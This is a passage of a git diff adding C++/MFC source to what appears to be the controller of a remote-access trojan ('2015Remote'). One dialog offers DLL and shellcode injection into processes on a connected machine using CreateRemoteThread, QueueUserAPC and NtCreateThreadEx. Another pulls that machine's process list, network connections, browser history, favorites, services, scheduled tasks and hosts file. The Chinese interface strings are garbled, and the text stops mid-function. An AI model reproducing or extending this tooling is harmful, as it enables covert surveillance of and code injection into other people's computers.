IDD_CREATETASK }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + + DECLARE_MESSAGE_MAP() +public: + afx_msg void OnBnClickedButtonCREAT(); + CString m_TaskPath; + CEdit m_TaskName; + CString m_TaskNames; + CString m_ExePath; + CString m_Author; + CString m_Description; +}; diff --git a/server/2015Remote/sys/CInjectCodeDlg.cpp b/server/2015Remote/sys/CInjectCodeDlg.cpp new file mode 100644 index 0000000..0a01ffb --- /dev/null +++ b/server/2015Remote/sys/CInjectCodeDlg.cpp @@ -0,0 +1,94 @@ +// CInjectCodeDlg.cpp: ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "CInjectCodeDlg.h" + +// CInjectCodeDlg Ի +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog) + +CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/) + : CDialog(IDD_INJECTINFO, pParent) + , Str_loacal(_T("ļ·")) + , Str_remote(_T("")) +{ +} + +CInjectCodeDlg::~CInjectCodeDlg() +{ +} + +void CInjectCodeDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_INJECTS, m_combo_main); + DDX_Text(pDX, IDC_EDIT_PATH, Str_loacal); + DDX_Text(pDX, IDC_EDIT_PATH_REMOTE, Str_remote); +} + + +BEGIN_MESSAGE_MAP(CInjectCodeDlg, CDialog) + ON_BN_CLICKED(IDC_BUTTON_CHOOSE, &CInjectCodeDlg::OnBnClickedButtonChoose) + ON_BN_CLICKED(IDC_BUTTON_INJECT, &CInjectCodeDlg::OnBnClickedButtonInject) + ON_CBN_SELCHANGE(IDC_COMBO_INJECTS, &CInjectCodeDlg::OnCbnSelchangeComboInjects) +END_MESSAGE_MAP() + +BOOL CInjectCodeDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + int i = 0; + m_combo_main.InsertString(i++, _T("CreateRemoteThread(طע)")); + m_combo_main.InsertString(i++, _T("QueueUserAPC(طע)")); + m_combo_main.InsertString(i++, _T("NtCreateThreadEx(طע)")); + + m_combo_main.InsertString(i++, _T("CreateRemoteThread(shellcodeע)")); + m_combo_main.InsertString(i++, _T("QueueUserAPC(shellcodeע)")); + m_combo_main.InsertString(i++, _T("NtCreateThreadEx(shellcodeע)")); + + m_combo_main.SetCurSel(0); + + SYSTEMTIME stTime; + GetLocalTime(&stTime); + WORD wMonth = stTime.wMonth; + WORD wDay = stTime.wDay; + WORD wHour = stTime.wHour; + WORD wMinute = stTime.wMinute; + WORD wSecond = stTime.wSecond; + Str_remote.Format( _T("C:\\ProgramData\\%d%d%d%d%d.dll"), wMonth, wDay, wHour, wMinute, wSecond); + ((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->SetWindowText(Str_remote); + + isel = 0; + return TRUE; +} + +void CInjectCodeDlg::OnBnClickedButtonChoose() +{ + CFileDialog dlg(FALSE, NULL, NULL, OFN_HIDEREADONLY, _T("All Files (*.*)|*.*||"), this); + if (dlg.DoModal() != IDOK) + return; + SetDlgItemText(IDC_EDIT_PATH, dlg.GetPathName()); +} + + +void CInjectCodeDlg::OnBnClickedButtonInject() +{ + UpdateData(TRUE); + CDialog::OnOK(); +} + + +void CInjectCodeDlg::OnCbnSelchangeComboInjects() +{ + isel =m_combo_main.GetCurSel(); + if (isel<3) { + ((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(TRUE); + + } else { + ((CEdit*)GetDlgItem(IDC_EDIT_PATH_REMOTE))->EnableWindow(FALSE); + } +} diff --git a/server/2015Remote/sys/CInjectCodeDlg.h b/server/2015Remote/sys/CInjectCodeDlg.h new file mode 100644 index 0000000..495cc5c --- /dev/null +++ b/server/2015Remote/sys/CInjectCodeDlg.h @@ -0,0 +1,36 @@ +#pragma once + + +// CInjectCodeDlg Ի + +class CInjectCodeDlg : public CDialog +{ + DECLARE_DYNAMIC(CInjectCodeDlg) + +public: + CInjectCodeDlg(CWnd* pParent = nullptr); + virtual ~CInjectCodeDlg(); + + CComboBox m_combo_main; + int isel; + CString Str_loacal; + CString Str_remote; + + // Ի +#ifdef AFX_DESIGN_TIME + enum { + IDD = IDD_INJECTINFO + }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); + + afx_msg void OnBnClickedButtonChoose(); + afx_msg void OnBnClickedButtonInject(); + afx_msg void OnCbnSelchangeComboInjects(); +}; diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp new file mode 100644 index 0000000..7b04159 --- /dev/null +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -0,0 +1,1693 @@ +// ServiceDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "MachineDlg.h" +#include "ServiceInfoDlg.h" +#include"CCreateTaskDlg.h" +#include "CInjectCodeDlg.h" +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +#define WM_SHOW_MSG (WM_USER+103) +#define WM_WAIT_MSG (WM_USER+104) + +///////////////////////////////////////////////////////////////////////////// +// CMachineDlg dialog +static UINT indicators[] = { + ID_SEPARATOR, // status line indicator + ID_SEPARATOR, // status line indicator + ID_SEPARATOR, // status line indicator +}; + + +CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) + : DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, 0) +{ + m_pMainWnd = (CMy2015RemoteDlg*)pParent; + m_iocpServer = pIOCPServer; + m_pContext = pContext; + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_MACHINE)); + + m_bOnClose = false; + + m_nSortedCol = 1; + m_bAscending = true; + m_bIsReceiving = false; + m_IPConverter = new IPConverter; +} + +CMachineDlg::~CMachineDlg() { + SAFE_DELETE(m_IPConverter); +} + +// `SortItemsEx`бҪṹ, +// ݸֵк. +class ListItem { +public: + CString* data; + int len; + int pid; + ListItem(const CListCtrl& list, int idx, int process = 0) { + len = list.GetHeaderCtrl()->GetItemCount(); + data = new CString[len]; + pid = process; + for (int i=0; i < len; ++i){ + data[i] = list.GetItemText(idx, i); + } + } + void Destroy() { + delete [] data; + delete this; + } +protected: + ~ListItem(){} +}; + +int CALLBACK CMachineDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort) { + auto* pSortInfo = reinterpret_cast*>(lParamSort); + int nColumn = pSortInfo->first; + bool bAscending = pSortInfo->second; + // + ListItem* it1 = (ListItem*)lParam1, * it2 = (ListItem*)lParam2; + if (it1 == NULL || it2 == NULL) return 0; + int n = it1->data[nColumn].Compare(it2->data[nColumn]); + return bAscending ? n : -n; +} + +void CMachineDlg::SortColumn(int iCol, bool bAsc) +{ + m_bAscending = bAsc; + m_nSortedCol = iCol; + std::pair sortInfo(m_nSortedCol, m_bAscending); + m_list.SortItems(CompareFunction, reinterpret_cast(&sortInfo)); +} + +BOOL CMachineDlg::OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult) +{ + HD_NOTIFY* pHDNotify = (HD_NOTIFY*)lParam; + + if (pHDNotify->hdr.code == HDN_ITEMCLICKA || pHDNotify->hdr.code == HDN_ITEMCLICKW) { + SortColumn(pHDNotify->iItem, pHDNotify->iItem == m_nSortedCol ? !m_bAscending : true); + } + + return CDialog::OnNotify(wParam, lParam, pResult); +} + + +void CMachineDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + + DDX_Control(pDX, IDC_LIST, m_list); + DDX_Control(pDX, IDC_TAB, m_tab); +} + + +BEGIN_MESSAGE_MAP(CMachineDlg, CDialog) + ON_WM_SIZE() + ON_WM_CLOSE() + ON_NOTIFY(NM_DBLCLK, IDC_LIST, OnDblclkList) + ON_NOTIFY(NM_RCLICK, IDC_LIST, OnRclickList) + ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, OnSelChangeTab) + ON_NOTIFY(TCN_SELCHANGING, IDC_TAB, OnSelChangingTab) + ON_MESSAGE(WM_SHOW_MSG, OnShowMessage) + ON_MESSAGE(WM_WAIT_MSG, OnWaitMessage) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMachineDlg message handlers + + +BOOL CMachineDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + // TODO: Add extra initialization here + CString str; + str.Format(_T(" - %s"), m_pContext->PeerName.c_str()); + SetWindowText(str); + + m_tab.SetPadding(CSize(6, 3)); + m_tab.ModifyStyle(0, TCS_MULTILINE); + m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_UNDERLINEHOT | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_EX_INFOTIP); + + int i = 0; + m_tab.InsertItem(i++, _T("̹")); + m_tab.InsertItem(i++, _T("ڹ")); + m_tab.InsertItem(i++, _T("")); + m_tab.InsertItem(i++, _T("Ϣ")); + m_tab.InsertItem(i++, _T("¼")); + m_tab.InsertItem(i++, _T(" ")); + m_tab.InsertItem(i++, _T("WIN32")); + m_tab.InsertItem(i++, _T("")); + m_tab.InsertItem(i++, _T("ƻ")); + m_tab.InsertItem(i++, _T("HOSTS")); + + if (!m_wndStatusBar.Create(this) || + !m_wndStatusBar.SetIndicators(indicators, sizeof(indicators) / sizeof(UINT))) { + TRACE0("Failed to create status bar\n"); + return -1; // fail to create + } + + m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_NORMAL, 300); + m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_STRETCH, 0); + m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 300); + + m_wndStatusBar.SetPaneText(0, _T("")); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + + HWND hWndHeader = m_list.GetDlgItem(0)->GetSafeHwnd(); + + AdjustList(); + BYTE lpBuffer = COMMAND_MACHINE_PROCESS; + m_iocpServer->Send(m_pContext, (LPBYTE)&lpBuffer, 1); + + return TRUE; +} + +CString CMachineDlg::__MakePriority(DWORD dwPriClass) +{ + CString strRet; + switch (dwPriClass) { + case REALTIME_PRIORITY_CLASS: + strRet = _T("ʵʱ"); + break; + case HIGH_PRIORITY_CLASS: + strRet = _T(""); + break; + case ABOVE_NORMAL_PRIORITY_CLASS: + strRet = _T("ڱ׼"); + break; + case NORMAL_PRIORITY_CLASS: + strRet = _T("׼"); + break; + case BELOW_NORMAL_PRIORITY_CLASS: + strRet = _T("ڱ׼"); + break; + case IDLE_PRIORITY_CLASS: + strRet = _T(""); + break; + default: + strRet = _T("δ֪"); + break; + } + + return strRet; +} + +void CMachineDlg::OnReceive() +{ +} +void CMachineDlg::OnReceiveComplete() +{ + if (m_bOnClose) return; + SetReceivingStatus(true); + + if (TOKEN_MACHINE_MSG == m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + CString strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(strResult), 0); + SetReceivingStatus(false); + return; + } + + DeleteList(); + + if (m_pContext->m_DeCompressionBuffer.GetBufferLen() <= 2) { + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("Ȩ޻޼¼...")), 0); + SetReceivingStatus(false); + return; + } + + PostMessage(WM_WAIT_MSG, TRUE, 0); + switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + case TOKEN_MACHINE_PROCESS: + ShowProcessList(); + break; + case TOKEN_MACHINE_WINDOWS: + ShowWindowsList(); + break; + case TOKEN_MACHINE_NETSTATE: + ShowNetStateList(); + break; + case TOKEN_MACHINE_SOFTWARE: + ShowSoftWareList(); + break; + case TOKEN_MACHINE_HTML: + ShowIEHistoryList(); + break; + case TOKEN_MACHINE_FAVORITES: + ShowFavoritesUrlList(); + break; + case TOKEN_MACHINE_HOSTS: + ShowHostsList(); + break; + case TOKEN_MACHINE_SERVICE_LIST: + ShowServiceList(); + break; + case TOKEN_MACHINE_TASKLIST: + ShowTaskList(); + break; + + default: + // ䷢쳣 + break; + } + SetReceivingStatus(false); + PostMessage(WM_WAIT_MSG, FALSE, 0); +} + +void CMachineDlg::OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult) +{ + int nID = m_tab.GetCurSel(); + switch (nID) { + case COMMAND_MACHINE_WIN32SERVICE: + OpenInfoDlg(); + break; + case COMMAND_MACHINE_DRIVERSERVICE: + OpenInfoDlg(); + break; + default: + break; + } + *pResult = 0; +} + +void CMachineDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult) +{ + int nID = m_tab.GetCurSel(); + switch (nID) { + case COMMAND_MACHINE_PROCESS: + ShowProcessList_menu(); + break; + case COMMAND_MACHINE_WINDOWS: + ShowWindowsList_menu(); + break; + case COMMAND_MACHINE_NETSTATE: + ShowNetStateList_menu(); + break; + case COMMAND_MACHINE_SOFTWARE: + ShowSoftWareList_menu(); + break; + case COMMAND_MACHINE_HTML: + ShowIEHistoryList_menu(); + break; + case COMMAND_MACHINE_FAVORITES: + ShowFavoritesUrlList_menu(); + break; + case COMMAND_MACHINE_WIN32SERVICE: + ShowServiceList_menu(); + break; + case COMMAND_MACHINE_DRIVERSERVICE: + ShowServiceList_menu(); + break; + case COMMAND_MACHINE_TASK: + ShowTaskList_menu(); + break; + case COMMAND_MACHINE_HOSTS: + ShowHostsList_menu(); + break; + default: + break; + } + + *pResult = 0; +} + +void CMachineDlg::OnClose() +{ + m_bOnClose = TRUE; + m_ContextObject->CancelIO(); + DeleteList(); + CDialogBase::OnClose(); +} + +void CMachineDlg::reflush() +{ + int nID = m_tab.GetCurSel(); + DeleteList(); + BYTE TOKEN = MachineManager(nID); + m_iocpServer->Send(m_pContext, (LPBYTE)&TOKEN, 1); +} + + +void CMachineDlg::OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult) +{ + reflush(); + *pResult = 0; +} + +void CMachineDlg::OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult) +{ + if (*pResult = IsReceivingData()) { + m_wndStatusBar.SetPaneText(0, "ڽ - Ժ..."); + } +} + +LRESULT CMachineDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) +{ + CString* msg = (CString*)wParam; + m_wndStatusBar.SetPaneText(0, *msg); + delete msg; + + return 0; +} + + +LRESULT CMachineDlg::OnWaitMessage(WPARAM wParam, LPARAM lParam) +{ + wParam ? BeginWaitCursor() : EndWaitCursor(); + return 0; +} + +void CMachineDlg::DeleteList() +{ + if (!m_list) return; + for (int i=0, n=m_list.GetItemCount(); iDestroy(); + } + m_list.DeleteAllItems(); + + int nColumnCount = m_list.GetHeaderCtrl()->GetItemCount(); + for (int n = 0; n < nColumnCount; n++) { + m_list.DeleteColumn(0); + } + if (!m_bOnClose) + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("ȴݷ...")), 0); +} + +void CMachineDlg::ShowProcessList() +{ + m_list.InsertColumn(0, _T("ӳ"), LVCFMT_LEFT, 100); + m_list.InsertColumn(1, _T("PID"), LVCFMT_LEFT, 50); + m_list.InsertColumn(2, _T("ȼ"), LVCFMT_LEFT, 50); + m_list.InsertColumn(3, _T("߳"), LVCFMT_LEFT, 50); + m_list.InsertColumn(4, _T("û"), LVCFMT_LEFT, 70); + m_list.InsertColumn(5, _T("ڴ"), LVCFMT_LEFT, 70); + m_list.InsertColumn(6, _T("ļС"), LVCFMT_LEFT, 80); + m_list.InsertColumn(7, _T("·"), LVCFMT_LEFT, 300); + m_list.InsertColumn(8, _T(""), LVCFMT_LEFT, 100); + m_list.InsertColumn(9, _T("λ"), LVCFMT_LEFT, 80); + + char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + CString str; + int i = 0; + for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); + bool* is64 = (bool*)(lpBuffer + dwOffset + sizeof(DWORD)); + char* szBuf_title = (char*)(lpBuffer + dwOffset + sizeof(DWORD) + sizeof(bool)); + char* strExeFile = (char*)((byte*)szBuf_title + MAX_PATH * sizeof(char)); + char* strProcessName = (char*)((byte*)strExeFile + lstrlen(strExeFile) * sizeof(char) + 2); + char* strTemp = (char*)((byte*)strProcessName + lstrlen(strProcessName) * sizeof(char) + 2); + LPDWORD lpdwPriClass = LPDWORD((byte*)strTemp); + LPDWORD lpdwThreads = LPDWORD((byte*)strTemp + sizeof(DWORD)); + char* strProcessUser = (char*)((byte*)strTemp + sizeof(DWORD) * 2); + LPDWORD lpdwWorkingSetSize = LPDWORD((byte*)strProcessUser + lstrlen(strProcessUser) * sizeof(char) + 2); + + LPDWORD lpdwFileSize = LPDWORD((byte*)strProcessUser + lstrlen(strProcessUser) * sizeof(char) + 2 + sizeof(DWORD)); + + m_list.InsertItem(i, strExeFile, 0); + + str.Format(_T("%5u"), *lpPID); + m_list.SetItemText(i, 1, str); + + m_list.SetItemText(i, 2, __MakePriority(*lpdwPriClass)); + + str.Format(_T("%5u"), *lpdwThreads); + m_list.SetItemText(i, 3, str); + + m_list.SetItemText(i, 4, strProcessUser); + + str.Format(_T("%5u K"), *lpdwWorkingSetSize); + m_list.SetItemText(i, 5, str); + + str.Format(_T("%5u KB"), *lpdwFileSize); + m_list.SetItemText(i, 6, str); + + m_list.SetItemText(i, 7, strProcessName); + + m_list.SetItemText(i, 8, szBuf_title); + + m_list.SetItemText(i, 9, (*is64) ? _T("x64") : _T("x86")); + // ListItem ΪID + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, *lpPID)); + dwOffset += sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(strExeFile) * sizeof(char) + + lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6; + } + + str.Format(_T("· / %d"), i); + LVCOLUMN lvc; + lvc.mask = LVCF_TEXT; + lvc.pszText = str.GetBuffer(0); + lvc.cchTextMax = str.GetLength(); + m_list.SetColumn(7, &lvc); + + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + + +void CMachineDlg::ShowWindowsList() +{ + m_list.InsertColumn(0, _T("PID"), LVCFMT_LEFT, 75); + m_list.InsertColumn(1, _T("HWND"), LVCFMT_LEFT, 75); + m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 300); + m_list.InsertColumn(3, _T("״̬"), LVCFMT_LEFT, 100); + m_list.InsertColumn(4, _T("С"), LVCFMT_LEFT, 100); + + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + CString str; + int i; + WINDOWSINFO m_ibfo; + for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + memcpy(&m_ibfo, lpBuffer + dwOffset, sizeof(WINDOWSINFO)); + + str.Format(_T("%5u"), m_ibfo.m_poceessid); + m_list.InsertItem(i, str, 25); + char t_hwnd[250]; + _stprintf_s(t_hwnd, 250, _T("%d"), m_ibfo.m_hwnd); + m_list.SetItemText(i, 1, t_hwnd); + m_list.SetItemText(i, 2, m_ibfo.strTitle); + m_list.SetItemText(i, 3, m_ibfo.canlook ? _T("ʾ") : _T("")); + str.Format(_T("%d*%d"), m_ibfo.w, m_ibfo.h); + m_list.SetItemText(i, 4, str); + // ListItem ΪID + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, m_ibfo.m_poceessid)); + dwOffset += sizeof(WINDOWSINFO); + } + str.Format(_T(" / %d"), i); + LVCOLUMN lvc = {}; + lvc.mask = LVCF_TEXT; + lvc.pszText = str.GetBuffer(0); + lvc.cchTextMax = str.GetLength(); + m_list.SetColumn(2, &lvc); + + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + + +void CMachineDlg::ShowNetStateList() +{ + m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 100); + m_list.InsertColumn(1, _T("PID"), LVCFMT_LEFT, 50); + m_list.InsertColumn(2, _T("Э"), LVCFMT_LEFT, 50); + m_list.InsertColumn(3, _T("صַ:˿"), LVCFMT_LEFT, 130); + m_list.InsertColumn(4, _T("Զ̵ַ:˿"), LVCFMT_LEFT, 130); + m_list.InsertColumn(5, _T("ĿIP"), LVCFMT_LEFT, 140); + m_list.InsertColumn(6, _T("״̬"), LVCFMT_LEFT, 80); + + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + CString str, IPAddress; + for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + int pid = 0; + for (int j = 0; j < 7; j++) { + if (j == 0) { + char* lpString = (char*)(lpBuffer + dwOffset); + m_list.InsertItem(i, lpString, 0); + dwOffset += lstrlen(lpString) * sizeof(char) + 2; + } else if (j == 1) { + LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); + pid = *lpPID; + str.Format(_T("%d"), *lpPID); + m_list.SetItemText(i, j, str); + dwOffset += sizeof(DWORD) + 2; + } else if (j == 5) { + IPAddress = m_list.GetItemText(i, 4); + + int n = IPAddress.ReverseFind(':'); + if (n > 0) { + IPAddress = IPAddress.Left(n); + if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) { + str = _T("---"); + } else { + str = m_IPConverter->IPtoAddress(IPAddress); + } + m_list.SetItemText(i, j, str); + } + } else { + char* lpString = (char*)(lpBuffer + dwOffset); + + m_list.SetItemText(i, j, lpString); + dwOffset += lstrlen(lpString) * sizeof(char) + 2; + } + } + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, pid)); + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + + +void CMachineDlg::ShowSoftWareList() +{ + m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 150); + m_list.InsertColumn(1, _T(""), LVCFMT_LEFT, 150); + m_list.InsertColumn(2, _T("汾"), LVCFMT_LEFT, 75); + m_list.InsertColumn(3, _T("װʱ"), LVCFMT_LEFT, 80); + m_list.InsertColumn(4, _T("ж"), LVCFMT_LEFT, 400); + + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int j = 0; j < 5; j++) { + char* lpString = (char*)(lpBuffer + dwOffset); + if (j == 0) + m_list.InsertItem(i, lpString, 0); + else + m_list.SetItemText(i, j, lpString); + + dwOffset += lstrlen(lpString) * sizeof(char) + 2; + } + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + +void CMachineDlg::ShowIEHistoryList() +{ + m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 70); + m_list.InsertColumn(1, _T("ʱ"), LVCFMT_LEFT, 130); + m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 150); + m_list.InsertColumn(3, _T("ҳַ"), LVCFMT_LEFT, 400); + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + CString str; + for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + Browsinghistory* p_Browsinghistory = (Browsinghistory*)((char*)lpBuffer + dwOffset); + str.Format(_T("%d"), i); + m_list.InsertItem(i, str, 0); + m_list.SetItemText(i, 1, p_Browsinghistory->strTime); + m_list.SetItemText(i, 2, p_Browsinghistory->strTitle); + m_list.SetItemText(i, 3, p_Browsinghistory->strUrl); + dwOffset += sizeof(Browsinghistory); + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + +void CMachineDlg::ShowFavoritesUrlList() +{ + m_list.InsertColumn(0, _T("ղ"), LVCFMT_LEFT, 200); + m_list.InsertColumn(1, _T("Url"), LVCFMT_LEFT, 300); + + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int j = 0; j < 2; j++) { + char* lpString = (char*)((char*)lpBuffer + dwOffset); + if (j == 0) + m_list.InsertItem(i, lpString, 0); + else + m_list.SetItemText(i, j, lpString); + + dwOffset += lstrlen(lpString) * sizeof(char) + 2; + } + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + +void CMachineDlg::ShowServiceList() +{ + m_list.InsertColumn(0, _T("ʾ"), LVCFMT_LEFT, 150); + m_list.InsertColumn(1, _T(""), LVCFMT_LEFT, 200); + m_list.InsertColumn(2, _T("״̬"), LVCFMT_LEFT, 70); + m_list.InsertColumn(3, _T(""), LVCFMT_LEFT, 85); + m_list.InsertColumn(4, _T("½"), LVCFMT_LEFT, 135); + m_list.InsertColumn(5, _T("潻"), LVCFMT_LEFT, 60); + m_list.InsertColumn(6, _T(""), LVCFMT_LEFT, 140); + m_list.InsertColumn(7, _T("ִļ·"), LVCFMT_LEFT, 400); + + char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwOffset = 0; + int i = 0; + for (i = 0; dwOffset < (m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1) / sizeof(char); i++) { + char* DisplayName = lpBuffer + dwOffset; + char* Describe = DisplayName + lstrlen(DisplayName) + 1; + char* serRunway = Describe + lstrlen(Describe) + 1; + char* serauto = serRunway + lstrlen(serRunway) + 1; + char* Login = serauto + lstrlen(serauto) + 1; + char* InterActive = Login + lstrlen(Login) + 1; + char* ServiceName = InterActive + lstrlen(InterActive) + 1; + char* serfile = ServiceName + lstrlen(ServiceName) + 1; + + m_list.InsertItem(i, DisplayName, 0); + m_list.SetItemText(i, 1, Describe); + m_list.SetItemText(i, 2, serRunway); + m_list.SetItemText(i, 3, serauto); + m_list.SetItemText(i, 4, Login); + m_list.SetItemText(i, 5, InterActive); + m_list.SetItemText(i, 6, ServiceName); + m_list.SetItemText(i, 7, serfile); + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + + dwOffset += lstrlen(DisplayName) + lstrlen(Describe) + lstrlen(serRunway) + lstrlen(serauto) + + lstrlen(Login) + lstrlen(InterActive) + lstrlen(ServiceName) + lstrlen(serfile) + 8; + } + CString strMsgShow; + if (i <= 0) { + strMsgShow.Format(_T("Ȩ޻")); + } else { + strMsgShow.Format(_T(" %d "), i); + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(strMsgShow), 0); +} + +void CMachineDlg::ShowTaskList() +{ + m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 50); + m_list.InsertColumn(1, _T("Ŀ¼"), LVCFMT_LEFT, 200); + m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 300); + m_list.InsertColumn(3, _T("·"), LVCFMT_LEFT, 400); + m_list.InsertColumn(4, _T("״̬"), LVCFMT_LEFT, 50); + m_list.InsertColumn(5, _T("ִʱ"), LVCFMT_LEFT, 130); + m_list.InsertColumn(6, _T("´ִʱ"), LVCFMT_LEFT, 130); + + BYTE* lpBuffer = (BYTE*)(m_pContext->m_DeCompressionBuffer.GetBuffer() + 1); + DATE lasttime = 0; + DATE nexttime = 0; + DWORD dwOffset = 0; + CString str; + for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + char* taskname = (char*)(lpBuffer + dwOffset); + char* taskpath = taskname + lstrlen(taskname) + 1; + char* exepath = taskpath + lstrlen(taskpath) + 1; + char* status = exepath + lstrlen(exepath) + 1; + lasttime = *((DATE*)(status + lstrlen(status) + 1)); + nexttime = *((DATE*)((CHAR*)(status + lstrlen(status) + 1) + sizeof(DATE))); + ULONGLONG a = *((ULONGLONG*)(&lasttime)); + str.Format(_T("%d"), i + 1); + if(!m_list.GetSafeHwnd()) + continue; + m_list.InsertItem(i, str); + + str = taskpath; + str.Replace(taskname, _T("")); + m_list.SetItemText(i, 1, str); + m_list.SetItemText(i, 2, taskname); + m_list.SetItemText(i, 3, exepath); + m_list.SetItemText(i, 4, status); + str = oleTime2Str(lasttime); + m_list.SetItemText(i, 5, str); + str = oleTime2Str(nexttime); + m_list.SetItemText(i, 6, str); + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + + dwOffset += lstrlen(taskname) + 1 + lstrlen(taskpath) + 1 + lstrlen(exepath) + 1 + lstrlen(status) + 1 + sizeof(DATE) * 2; + + if (lpBuffer[dwOffset] == 0 && lpBuffer[dwOffset + 1] == 0) { + break; + } + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + +void CMachineDlg::ShowHostsList() +{ + m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 600); + + LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + int i = 0; + char* buf; + char* lpString = (char*)lpBuffer; + const char* d = "\n"; + char* p = strtok_s(lpString, d, &buf); + while 